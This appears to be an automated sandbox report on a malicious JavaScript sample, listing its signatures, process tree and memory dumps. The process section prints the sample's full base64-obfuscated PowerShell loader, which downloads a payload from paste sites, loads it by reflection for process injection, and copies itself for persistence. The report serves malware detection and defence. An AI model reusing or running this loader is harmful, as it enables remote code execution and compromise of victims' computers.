Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/09/2026, 14:27
General
- Target 262bb0abdf65d6d2baa592eb249d2693281a1c9c6180d1e46c57e79f52cb37b4_pre-append.js
- Size 63KB
- Sample260913-rssysagq6x
- SHA256 c9728d166fb7c3745e7dc82466e85739c044719c546aad03c274ccc7b8199fac
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\262bb0abdf65d6d2baa592eb249d2693281a1c9c6180d1e46c57e79f52cb37b4_pre-append.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAZABwAGEAcwB0AGUALgBjAG8AbQAvADMAVgBZADYAOQBSAFkANwBKAC4AdAB4AHQAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAJABsAGkAbgBf#AHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkAOwANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnACcAIAAf#ACAAJwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AZABlAG4AaQBtAGgAZAAvAGcAZQBiAHAAagBuAGkALwBtAHIAcwBjAHQAZABwAC8AbgBmAHQAaAB4AHkAcwAvAGUAZAAuAG4AZQBnAG4AaQBsAC0AbgBvAGwAYQBzAGgAYwBzAGEAdwAvAC8AOgBzAGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAcgB1AG4AcwAnACAAKwAgACcAcwAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABnAGcAIAAsACcAMwAnACwAIAAnAE4AcgAxACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgANgA0ACcAKQApAH0AfQA=';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\262bb0abdf65d6d2baa592eb249d2693281a1c9c6180d1e46c57e79f52cb37b4_pre-append.js' -Destination 'C:\ProgramData\Nr1.js' -Force"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2912-0-0x00007FFF454DF000-0x00007FFF454E0000-memory.dmp
memory/2912-3-0x0000015F1E6F0000-0x0000015F1E712000-memory.dmp
memory/2912-4-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-5-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-6-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-7-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-8-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-9-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-10-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-11-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-12-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-13-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp
memory/2912-15-0x00007FFF45350000-0x00007FFF45CF4000-memory.dmp